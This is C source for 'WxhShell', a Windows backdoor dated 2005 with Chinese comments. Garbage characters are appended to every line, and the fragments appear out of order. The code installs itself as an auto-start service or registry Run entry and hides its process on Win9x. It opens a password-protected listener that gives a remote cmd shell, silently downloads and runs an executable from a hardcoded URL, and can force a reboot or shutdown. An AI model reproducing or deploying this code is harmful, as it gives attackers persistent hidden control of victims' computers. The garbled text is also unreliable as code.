    closesocket(wsh); Kaji&Ibd  
    ExitThread(0); D-e?;<  
    } D5Z)"~'  
    break; -op)X>  
    } fnIF<Zt  
  // 获取shell c GyBml1  
  case 's': { tRNMiU  
    CmdShell(wsh); TgKSE1  
    closesocket(wsh); V;hO1xfR3&  
    ExitThread(0); Uy@:-NC)kn  
    break; WT}x Cni  
  } un}!&*+  
  // 退出 D'#,%4P,e\  
  case 'x': { `rV -,-r@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^?|d< J:{  
    CloseIt(wsh); &AVX03P  
    break; i?,\>LTG  
    } .R^ R|<x  
  // 离开 iu2O/l# r  
  case 'q': { Z:diM$Z?7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V 7D<'!  
    closesocket(wsh); iDdR-T|  
    WSACleanup(); U|aEyMU  
    exit(1); kIRjoKf<F  
    break; f`8?]@y{  
        } B;nIKZ  
  } B7sBO6Z$J  
  } -fN5-AC  
40[@d  
  // 提示信息 (0Jr<16si$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pfd%[C/vdm  
} fS p  
  } 2>f3n W  
W*/2x8$d  
  return; gLlA'`!  
} r4 qs!(  
C8=rsh  
// shell模块句柄 ->Fsmb+R  
int CmdShell(SOCKET sock) U&SSc@of  
{ 9t8ccr  
STARTUPINFO si; A,c_ME+DVB  
ZeroMemory(&si,sizeof(si));  O`Htdnu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~*`wRiUhis  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O{Q+<fBC9  
PROCESS_INFORMATION ProcessInfo; VBW][f  
char cmdline[]="cmd"; -b34Wz(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IR32O,)  
  return 0; {MUO25s02  
} 4L r,}t A  
X^i3(N  
// 自身启动模式 .=) *Qx+  
int StartFromService(void) ONUa7  
{ j"+6aD/lv  
typedef struct :*-O;Yw?S@  
{ D;OPsNQ  
  DWORD ExitStatus; {mLv?"M]  
  DWORD PebBaseAddress; .(s@{=  
  DWORD AffinityMask; i_nUyH%b  
  DWORD BasePriority; fc4jbPp:M  
  ULONG UniqueProcessId; +e#(p<  
  ULONG InheritedFromUniqueProcessId; /=QsZ,~xo  
}   PROCESS_BASIC_INFORMATION; Wxgs66   
W #kLM\2L  
PROCNTQSIP NtQueryInformationProcess; 8E>2 6@.  
!/1 ~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s"~,Zzy@j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4C3i  
q?8#D  
  HANDLE             hProcess; `W7;-  
  PROCESS_BASIC_INFORMATION pbi; "&\(:#L  
d <zD@ z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BWr!K5w>i  
  if(NULL == hInst ) return 0; B)dd6R>8  
mS.!lkV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ds@K%f(.?w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B5_QH8kt7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !Nbi&^k B  
`.wgRUhFH;  
  if (!NtQueryInformationProcess) return 0; w1 A-_  
}IQ![T5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  [geT u  
  if(!hProcess) return 0; |7.X)h`  
Z*(OcQ-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )-1$y+s>  
w)h"?'m~  
  CloseHandle(hProcess); %v^qQWy=*  
5U*${  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C*Q x  
if(hProcess==NULL) return 0; s}DNu<"g  
6K >(n  
HMODULE hMod; ^plP1c:  
char procName[255]; $GVf;M2*  
unsigned long cbNeeded; @;[.#hK  
\P*%u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WK.,q>#  
nVGOhYn  
  CloseHandle(hProcess); \_+Af`  
7j"B-k#  
if(strstr(procName,"services")) return 1; // 以服务启动 F^!mgU X  
f Qw|SW  
  return 0; // 注册表启动 Eb8z`@p  
} GB}X  
y;hco  
// 主模块 vVo# nzeZ5  
int StartWxhshell(LPSTR lpCmdLine) 4ijZQ  
{ ^(:na6C  
  SOCKET wsl; j>~ @vq  
BOOL val=TRUE; (e<p^T J]  
  int port=0; `2'*E\   
  struct sockaddr_in door; K81&BVx/  
+ Cq&~<B  
  if(wscfg.ws_autoins) Install(); eqpnh^0}d  
iT1HbAT]  
port=atoi(lpCmdLine); |~=4Z rcCP  
UQtG<W]<  
if(port<=0) port=wscfg.ws_port; d"+ _`d=`  
vY,]f^F"  
  WSADATA data; Tn$| Xa+:s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :5:_Dr<  
w aDJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |8\et  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q}#H|@  
  door.sin_family = AF_INET; >~&7D`O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bv`3T Af2  
  door.sin_port = htons(port); *yW9-(  
P?y{ 9H*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S_Vquw(+  
closesocket(wsl); > 'JWW*Y!  
return 1; 1$"wN z  
} O[ ^zQA  
MO79FNH2\  
  if(listen(wsl,2) == INVALID_SOCKET) { v2mqM5Z  
closesocket(wsl); jF5oc   
return 1; L/O:V^1  
} yF^)H{yx  
  Wxhshell(wsl); opCQ=G1  
  WSACleanup(); AOCiIPw  
dr4m}v.  
return 0; E+eC #!&w  
2V*<J:;wb  
} l3kBt-m  
l`{JxVg  
// 以NT服务方式启动 m RtE~~p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8SMa5a{  
{ oc&yz>%q  
DWORD   status = 0; AFNE1q;{\  
  DWORD   specificError = 0xfffffff; om,=.,|Ld  
JZcW?Or  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r$Y% 15JV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Umk!m] q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B 6,X)  
  serviceStatus.dwWin32ExitCode     = 0; Q__1QUu  
  serviceStatus.dwServiceSpecificExitCode = 0; ~Q 1%DV.  
  serviceStatus.dwCheckPoint       = 0; Pe7% 9  
  serviceStatus.dwWaitHint       = 0; q.RW_t~  
}-M% $ ~`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1Q9e S&  
  if (hServiceStatusHandle==0) return; 79MB_Is]s  
D5 ^WiQ<  
status = GetLastError(); %C*h/AW)'  
  if (status!=NO_ERROR) $qhVow5~  
{ p"J\+R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .{k^ tf4  
    serviceStatus.dwCheckPoint       = 0; Xdc>Z\0V  
    serviceStatus.dwWaitHint       = 0; <' b%  
    serviceStatus.dwWin32ExitCode     = status; ?I#zcD)w  
    serviceStatus.dwServiceSpecificExitCode = specificError; `LVX|l62  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FYeUz$/  
    return; `)eqTeW  
  } C$EvcF% 1  
1He'\/#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RIxGwMi%  
  serviceStatus.dwCheckPoint       = 0; @Tf5YZ*  
  serviceStatus.dwWaitHint       = 0; XZ&q5]PJI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {2%@I~US  
} _{'HY+M  
G(y@Tor+  
// 处理NT服务事件,比如:启动、停止 F!yejn [  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?gOZY\[ma  
{ :+|os"  
switch(fdwControl) D|!^8jHj  
{ zLLe3?8:  
case SERVICE_CONTROL_STOP: E@\bFy_!>b  
  serviceStatus.dwWin32ExitCode = 0; uCpk1d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B1a&'WX?  
  serviceStatus.dwCheckPoint   = 0; *Z"(K\1TH  
  serviceStatus.dwWaitHint     = 0; |Xl,~-.  
  { 4*9:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1PJ8O|Z t8  
  } Ot_xeg;7  
  return; P(za8l>  
case SERVICE_CONTROL_PAUSE: ws$!-t4<(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  zWIC4:  
  break; l]o&D))R  
case SERVICE_CONTROL_CONTINUE: }x1p~N+;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "5R8Zl+  
  break; `ynD-_fTN  
case SERVICE_CONTROL_INTERROGATE: Y: XxTa*  
  break; `l95I7  
}; skP2IMa75  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g4^df%)&  
} N!F ;!  
t^qPQ;"=,  
// 标准应用程序主函数 E`SFr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3pKr {U92  
{ ?$xZ$zW  
}x1*4+Y1  
// 获取操作系统版本 htGk:  
OsIsNt=GetOsVer(); /Hl]$sJY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @l:\Ka~TS  
u;*Wc9>sU  
  // 从命令行安装 &Rx-zp&dJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ISuye2tExq  
0@ 9em~  
  // 下载执行文件 64OgE!  
if(wscfg.ws_downexe) { Vee`q.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D=nuK25  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7$7Y)&\5 w  
} [/ E_v gZ  
wDV%.Cc  
if(!OsIsNt) { Yg6 f  
// 如果时win9x,隐藏进程并且设置为注册表启动 qwU,D6  
HideProc(); TY3WP$u  
StartWxhshell(lpCmdLine); I)Dd"I  
} lT3, G#(  
else ,#42ebGHR  
  if(StartFromService()) ~cSOni`  
  // 以服务方式启动 s:y=X$&M  
  StartServiceCtrlDispatcher(DispatchTable); *a7&v3X  
else Svo gvn  
  // 普通方式启动 u;Q'xuo3  
  StartWxhshell(lpCmdLine); b;O|-2AR  
T.zU erbO  
return 0;  %Ln7{w  
} F? kW{,*  
|8b*BnS  
e8@@Pi<sB  
h@"dpmpe  
=========================================== 6* /o  
W|@/<K$V  
(:>: tcE  
GyOo$FW  
dM(}1%2  
F~dq7 AS  
" NGlX%j4j  
mT8($KQ  
#include <stdio.h> <[2]p\rj  
#include <string.h> Kd _tjWS  
#include <windows.h> s:UQ~p}"S  
#include <winsock2.h> &LO<!WKQ  
#include <winsvc.h> $g55wGF  
#include <urlmon.h> 0SXWt? }  
z&o"K\y\  
#pragma comment (lib, "Ws2_32.lib") =3J &UQL  
#pragma comment (lib, "urlmon.lib") U<**Est  
\ qc 8;"@  
#define MAX_USER   100 // 最大客户端连接数 YB h :  
#define BUF_SOCK   200 // sock buffer Oc;0*v[I  
#define KEY_BUFF   255 // 输入 buffer n_%JXm#\  
-< jb>8  
#define REBOOT     0   // 重启 h:3`e`J<h  
#define SHUTDOWN   1   // 关机 X 5LI  
N?H;fK4v  
#define DEF_PORT   5000 // 监听端口 \Clz#k8l1  
4Wq{ch  
#define REG_LEN     16   // 注册表键长度 CE>RAerY  
#define SVC_LEN     80   // NT服务名长度 sT9P  
#_}lF<k  
// 从dll定义API &>Q_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l|`%FB^k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UB]} j^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &_ Ewu@4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lM C4j  
u2^ oXl  
// wxhshell配置信息 ]BU,*YaB  
struct WSCFG { ik77i?Hg  
  int ws_port;         // 监听端口 &3mseU  
  char ws_passstr[REG_LEN]; // 口令 Pq~"`-h7:  
  int ws_autoins;       // 安装标记, 1=yes 0=no .9WJ/RKZ\D  
  char ws_regname[REG_LEN]; // 注册表键名 UK2Y<\vD  
  char ws_svcname[REG_LEN]; // 服务名 x"~F=jT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DNdwMSwp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #F.;N<a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >De\2gbJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y@J]busU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kIV/o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @6>R/]  
2>#Pt^R:C  
}; wHk4BWg-  
2f>lgZ!  
// default Wxhshell configuration lDNB0Ad  
struct WSCFG wscfg={DEF_PORT, Z.$ncP0s  
    "xuhuanlingzhe", %O;"Z`I  
    1, iLn)Z0<\o  
    "Wxhshell", b7{)B?n  
    "Wxhshell", ="RDcf/  
            "WxhShell Service", OC9_EP\"  
    "Wrsky Windows CmdShell Service", !SIGzj  
    "Please Input Your Password: ", _r5Q%8J  
  1, 59 O;`y0  
  "http://www.wrsky.com/wxhshell.exe", WEUr;f  
  "Wxhshell.exe" |Sy |E  
    }; g>x2[//pk  
H1f){L97wR  
// 消息定义模块 5.#r\' Z#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LpJ\OI*v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U?d1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5UR$Pn2a2  
char *msg_ws_ext="\n\rExit."; JQ'NFl9<  
char *msg_ws_end="\n\rQuit."; Er Ji  
char *msg_ws_boot="\n\rReboot..."; v I@Wuu:  
char *msg_ws_poff="\n\rShutdown..."; eb2~$ ,$  
char *msg_ws_down="\n\rSave to "; *@l NL=%R  
XRKL;|cd  
char *msg_ws_err="\n\rErr!"; uh%%MhTjv  
char *msg_ws_ok="\n\rOK!"; ,IxAt&kN  
RyC]4 QyC  
char ExeFile[MAX_PATH]; w"bQxS~$y  
int nUser = 0; gVsAz  
HANDLE handles[MAX_USER]; 49~5U+x;  
int OsIsNt; <P ~+H>;  
e//28=OH  
SERVICE_STATUS       serviceStatus; Ttb @98  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p8Di9\}  
Ec[=~>;n{l  
// 函数声明 qi}HJkOq  
int Install(void); Zgt, 'T  
int Uninstall(void); Miqu  
int DownloadFile(char *sURL, SOCKET wsh); -<sn+-uE:  
int Boot(int flag); 3'Q H\t5  
void HideProc(void); b{s_cOr/  
int GetOsVer(void); 0tm%Kd  
int Wxhshell(SOCKET wsl); :S0r)CNP  
void TalkWithClient(void *cs); rAwq$!xx  
int CmdShell(SOCKET sock); Xdsd5 UUM  
int StartFromService(void); |dpOE<f[  
int StartWxhshell(LPSTR lpCmdLine); VjSb>k   
K0yTHX?(.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rv1kIc5Za<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <)n1Z[4  
Axhe9!Fm  
// 数据结构和表定义 }XWic88!~  
SERVICE_TABLE_ENTRY DispatchTable[] = /}-]n81m  
{ BbA>1#i5]  
{wscfg.ws_svcname, NTServiceMain}, Cp&lS=  
{NULL, NULL} aAF:nyV~~0  
}; F*o{dLJ)  
#IA[erf:  
// 自我安装 CtV$lXxup  
int Install(void) ^.&uYF&  
{ ++F #Z(p  
  char svExeFile[MAX_PATH]; 7m{ 'V`F  
  HKEY key; gfw,S;  
  strcpy(svExeFile,ExeFile); dY68wW>d|  
"3LOL/7f  
// 如果是win9x系统,修改注册表设为自启动 Xz4!#,z/  
if(!OsIsNt) { v2G_p |+O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pon 2!$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IrjKI.PR  
  RegCloseKey(key); Aga2 I#1r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QK<sibDI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;&37mO/T  
  RegCloseKey(key); 'ADt<m_$  
  return 0; jn>3(GRGC$  
    } E< "aUnI  
  } k'&BAC.K,  
} `QXO+'j4  
else { t8\F7F P  
)\l}i%L:  
// 如果是NT以上系统,安装为系统服务 gpVZZ:~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Yvs)H'n=  
if (schSCManager!=0) *oL?R2#7  
{ vXLiYWo  
  SC_HANDLE schService = CreateService ZOK2BCoW  
  ( f{FW7T}O2  
  schSCManager, y/h~oGxy  
  wscfg.ws_svcname, {*ATY+  
  wscfg.ws_svcdisp, D3$PvX[f  
  SERVICE_ALL_ACCESS, 3bu VU& ap  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e3"GC_*#  
  SERVICE_AUTO_START, Yw"o_  
  SERVICE_ERROR_NORMAL, %RG kXOgp  
  svExeFile, cjHo?m'  
  NULL, LoSblV  
  NULL, z J93EtlF  
  NULL, d5fnJ*a>l  
  NULL, E#v}//  
  NULL Zk__CgS#  
  ); /T]2ZX>  
  if (schService!=0) H ifKa/}P8  
  { qxf!]jm  
  CloseServiceHandle(schService);  U2  
  CloseServiceHandle(schSCManager); 5'd$TC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0=#:x()e  
  strcat(svExeFile,wscfg.ws_svcname); cKdn3 2Y4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X#'DS&{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L/_h5Q:'W  
  RegCloseKey(key); F$ShhZgi  
  return 0; V$VqYy9 *  
    } qc2j}D0  
  } q,F\8M\$  
  CloseServiceHandle(schSCManager); g&!UaJ[#9  
} ~ P"@^cq  
} 6O bB/*h  
?OW 4J0B'  
return 1; \,ARYwd  
} i#Io;  
+%7v#CY &  
// 自我卸载 Q [kbEhv;  
int Uninstall(void) NQz*P.q  
{ K#_&}C^-jY  
  HKEY key; <{ GpAf8-  
_VGAh:v  
if(!OsIsNt) { -KhNsUQk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z0+LD  
  RegDeleteValue(key,wscfg.ws_regname); Y#S<:,/sb?  
  RegCloseKey(key); u,AP$+Qk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =5/ow!u8  
  RegDeleteValue(key,wscfg.ws_regname); 8=CdO|XV  
  RegCloseKey(key); "3.v(GVr  
  return 0; kd)Q$RA(  
  } >lQ@" U  
} Ok2KTsVl  
} ]$Pl[Vegy  
else { 0uV3J  
^ gMoW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #%O|P&rA  
if (schSCManager!=0) z/!LC;(  
{ I{tY;b'w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7/+I"~  
  if (schService!=0) ;$,=VB:'  
  { cWjb149@)  
  if(DeleteService(schService)!=0) { p.6C.2q~s]  
  CloseServiceHandle(schService); -} Zck1  
  CloseServiceHandle(schSCManager); @W6:JO  
  return 0; k>E^FB=  
  } fb-Lp#!T39  
  CloseServiceHandle(schService); q;Tdqv!Ju  
  } WD# 96V  
  CloseServiceHandle(schSCManager); |eykb?j`  
} uzg(C#sp  
} WJWi'|C4  
k-IL%+U  
return 1; .2"-N5Z  
} m:B9~ lbT+  
E@ J/_l;  
// 从指定url下载文件 M2H +1ic  
int DownloadFile(char *sURL, SOCKET wsh) (StX1g'  
{ 60,z!Vv  
  HRESULT hr; T<yAfnTb`  
char seps[]= "/"; X-LCIT|1  
char *token; /By:S/[1pL  
char *file; 'yxN1JF  
char myURL[MAX_PATH]; O+x"c3@Z)D  
char myFILE[MAX_PATH]; $`j%z@[g  
WX .Ax$fT  
strcpy(myURL,sURL); Zc9@G-  
  token=strtok(myURL,seps); oC ?UGY~xL  
  while(token!=NULL) } I>68dS[  
  { !C\$=\$  
    file=token; 9d&@;&al  
  token=strtok(NULL,seps); -p.c8B  
  } ypU-/}Cf,  
dUN{@a\R0  
GetCurrentDirectory(MAX_PATH,myFILE); $B%wK`J  
strcat(myFILE, "\\"); }Q $}LR@  
strcat(myFILE, file); q9Zp8&<EqH  
  send(wsh,myFILE,strlen(myFILE),0); T_R2BBT v  
send(wsh,"...",3,0); Drm#z05i[g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RO+ jVY~H-  
  if(hr==S_OK) Ov8^6O  
return 0; P.bxq50  
else JLd-{}A""-  
return 1; Gyx4}pV  
,w`g + 9v  
} >~@O\n-t  
$7h]A$$Fv  
// 系统电源模块 !/nXEjW?  
int Boot(int flag) Q^\m@7O :  
{ SR%k|YT  
  HANDLE hToken;  :o~]FVf  
  TOKEN_PRIVILEGES tkp; aVB/Co M9  
$UNC0 (4  
  if(OsIsNt) { i;Dj16h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q g~cYwX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |RjAp.pm  
    tkp.PrivilegeCount = 1; nQGl]2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]K?;XA3dZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c wNJ{S+  
if(flag==REBOOT) { +3uPHpMB-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QB uX#bDV  
  return 0; 5(zdM)Y7  
} b?{MXJ|  
else { |L/EH~| O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a\m_Q{:  
  return 0; n6AA%? 5  
} BG|m5f  
  } \?v?%}x  
  else { W4;/;[/L  
if(flag==REBOOT) { GCf,Gfmr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x~Y{ {  
  return 0; H;nEU@>"Z  
} 'C4cS[1  
else { {FQ@eeU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @E 8P>kq  
  return 0; {N3&JL5\"E  
} g.Tc>?~  
} (Bq^ D9  
TAxu]C$P  
return 1; 3 Fb9\2<H  
} \sBXS.  
N5[^W`Qf  
// win9x进程隐藏模块 HQvJ*U4++  
void HideProc(void) InI>So%e|<  
{ 3 ,zW6 -}  
M>E~eb/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qk~m\U8r  
  if ( hKernel != NULL ) Nq9\2p  
  { m"@o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  nU4to  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IM% ,A5u  
    FreeLibrary(hKernel); 3k3 C\Cw  
  } 6r|=^3{  
W#)X@TlE  
return; 8.,d`~  
} P_4E<"eK  
@Jx1n Q^  
// 获取操作系统版本 IRGcE&m  
int GetOsVer(void) 5cGQ`l  
{ FnKC|X  
  OSVERSIONINFO winfo; Fw\g\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \TZSn1isZX  
  GetVersionEx(&winfo); e)= " Fq!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !&xci})7a  
  return 1;  qJ sH  
  else -Bl]RpHCe  
  return 0; l A%FS]vh  
} X n8&&w"  
jDb"|l  
// 客户端句柄模块 |kH.o=  
int Wxhshell(SOCKET wsl) VKkvf"X  
{ QM![tZt%;  
  SOCKET wsh; o\F>K'  
  struct sockaddr_in client; B0U(B\~Y  
  DWORD myID; Bn9#F#F<  
m]vS"AdX  
  while(nUser<MAX_USER) X%)~i[_DV  
{ hq&|   
  int nSize=sizeof(client); @DIEENiM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #dKy{Q3he  
  if(wsh==INVALID_SOCKET) return 1; Vm8@ LA  
eF]8Ar1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R# T 6]  
if(handles[nUser]==0) `Xz!apA  
  closesocket(wsh); $*VZa3B\  
else 06O_!"GD}  
  nUser++; |h }4J  
  } *|<T@BXn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IU<lF)PF$  
(i L*1f   
  return 0; 8v z h5,U  
} c<,LE@ V  
@I}VD\pF  
// 关闭 socket =&6sU{j*  
void CloseIt(SOCKET wsh) .%y'q!?  
{ ;>>n#8`  
closesocket(wsh); Th$Z9+()  
nUser--; @R}3f6@67  
ExitThread(0); |_ +#&x  
} AT)b/ycC  
$|xSM2  
// 客户端请求句柄 n\)1Bz  
void TalkWithClient(void *cs) <}:` Y"  
{  z3]W #  
}tw+8YWkz  
  SOCKET wsh=(SOCKET)cs; V3# ms0  
  char pwd[SVC_LEN]; ;p2b^q'  
  char cmd[KEY_BUFF]; :_y!p  
char chr[1]; >s 6ye  
int i,j; 6_<~]W&  
;@T0wd_i|  
  while (nUser < MAX_USER) { DI8<0.L  
R)BXN~dQ  
if(wscfg.ws_passstr) { e@qH!.g)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -$?t+ "/E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4xEw2F  
  //ZeroMemory(pwd,KEY_BUFF); e*qGrg(E  
      i=0; M,S'4Sz uk  
  while(i<SVC_LEN) { $%q=tn'EX  
 *<W8j[?  
  // 设置超时 S\h5 D2G;  
  fd_set FdRead; v+"4YIN  
  struct timeval TimeOut; hO&b\#@~  
  FD_ZERO(&FdRead); CxeW5qc  
  FD_SET(wsh,&FdRead); `:Gzjngc  
  TimeOut.tv_sec=8; JC%&d1  
  TimeOut.tv_usec=0; G~o!u8^;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5LB{b]w7m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jn^b}bk t  
Hc =QSP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C6[W/,eS  
  pwd=chr[0]; t+}w Tis  
  if(chr[0]==0xd || chr[0]==0xa) { Bp_R"DS7A  
  pwd=0; 7]xDMu'^&f  
  break; i?Pnyi  
  } ^l|b>z"0ao  
  i++; B Z|A&;  
    } 1Vdi5;dn  
F'b%D  
  // 如果是非法用户,关闭 socket ,#UZp\zZ*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Jr( =Y@Z '  
} ' {UKO7   
] re=8s6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E#!!tH`lgg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _ Lb"yug  
fE+zA)KX  
while(1) { 7n6g;8xE  
k1q/L|')  
  ZeroMemory(cmd,KEY_BUFF); oDV6[e  
Cl`i|cF\  
      // 自动支持客户端 telnet标准   _yv#v_Z  
  j=0; c%C6d97q  
  while(j<KEY_BUFF) { >i,_qe?V:w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RC/ 3\ '  
  cmd[j]=chr[0]; 4_kN';a4Q  
  if(chr[0]==0xa || chr[0]==0xd) { tLWw< )t  
  cmd[j]=0; Bj1%}B  
  break; R ,qQC<  
  } A vq+s.h  
  j++; >< $LV&  
    } WA8<:#{e  
@wgd 3BU  
  // 下载文件 #dj?^n g  
  if(strstr(cmd,"http://")) { uy'seJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7bzm5w@v  
  if(DownloadFile(cmd,wsh)) A,9JbX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X}v*"`@Q  
  else Sy|GM~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X+aQ 7^"s  
  } iyl i/3|  
  else { RkYn6  
:.,9}\LK  
    switch(cmd[0]) { ]alc%(=  
  t`"m@  
  // 帮助 ]a4U\yr  
  case '?': { x/umwT,ov  
